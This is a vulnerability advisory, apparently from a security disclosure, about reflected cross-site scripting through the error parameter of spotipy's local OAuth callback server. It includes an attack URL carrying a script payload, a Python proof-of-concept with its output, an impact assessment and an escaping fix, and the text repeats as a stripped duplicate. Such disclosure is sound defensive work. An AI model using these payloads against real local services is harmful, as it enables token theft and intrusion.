Summary
XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.
Details
Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)
The Problem:
During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.
Vulnerable code at line 1255:
status = f"failed ({self.server.error})"
Then embedded in HTML at line 1265:
self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")
The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.
Attack Flow:
- User starts OAuth authentication → local server runs on
http://127.0.0.1:8080
- Attacker crafts malicious URL:
http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x
- User visits URL → JavaScript executes in localhost origin
PoC
Simple Python Test:
#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback
import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time
# Start vulnerable server in background
def start_server():
server = start_local_http_server(8080)
server.handle_request()
thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)
# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'
response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")
# Check if vulnerable
if payload in response.text:
print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
print("\n[+] Safe: Payload was sanitized")
Run it:
pip install spotipy requests
python3 poc_xss.py
Output shows:
Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>
[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!
The Proof:
- Expected (safe):
<script>alert("XSS")</script>
- Actual (vulnerable):
<script>alert("XSS")</script>
- The script tags are NOT escaped → XSS confirmed
Impact
Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79
Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs
Attack Complexity: Medium-High
- Requires timing (during brief OAuth window)
- Localhost-only (127.0.0.1)
- Requires user interaction (click malicious link)
Potential Impact:
- Execute JavaScript in localhost origin
- Access other localhost services (port scanning, API calls)
- Steal data from local web applications
- Extract OAuth tokens from browser storage
- Bypass CSRF protections on localhost endpoints
CVSS 3.1 Score: 4.2 (Medium)
- Attack Vector: Local
- Attack Complexity: High
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality/Integrity: Low
Recommended Fix:
import html
# Line 1255 - apply HTML escaping
if self.server.error:
status = f"failed ({html.escape(str(self.server.error))})"
References
Summary
XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.
Details
Vulnerable Code:
spotipy/oauth2.pylines 1238-1274 (RequestHandler.do_GET)The Problem:
During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the
errorURL parameter directly into HTML without sanitization.Vulnerable code at line 1255:
Then embedded in HTML at line 1265:
The
errorparameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.Attack Flow:
http://127.0.0.1:8080http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=xPoC
Simple Python Test:
Run it:
Output shows:
The Proof:
<script>alert("XSS")</script><script>alert("XSS")</script>Impact
Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79
Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs
Attack Complexity: Medium-High
Potential Impact:
CVSS 3.1 Score: 4.2 (Medium)
Recommended Fix:
References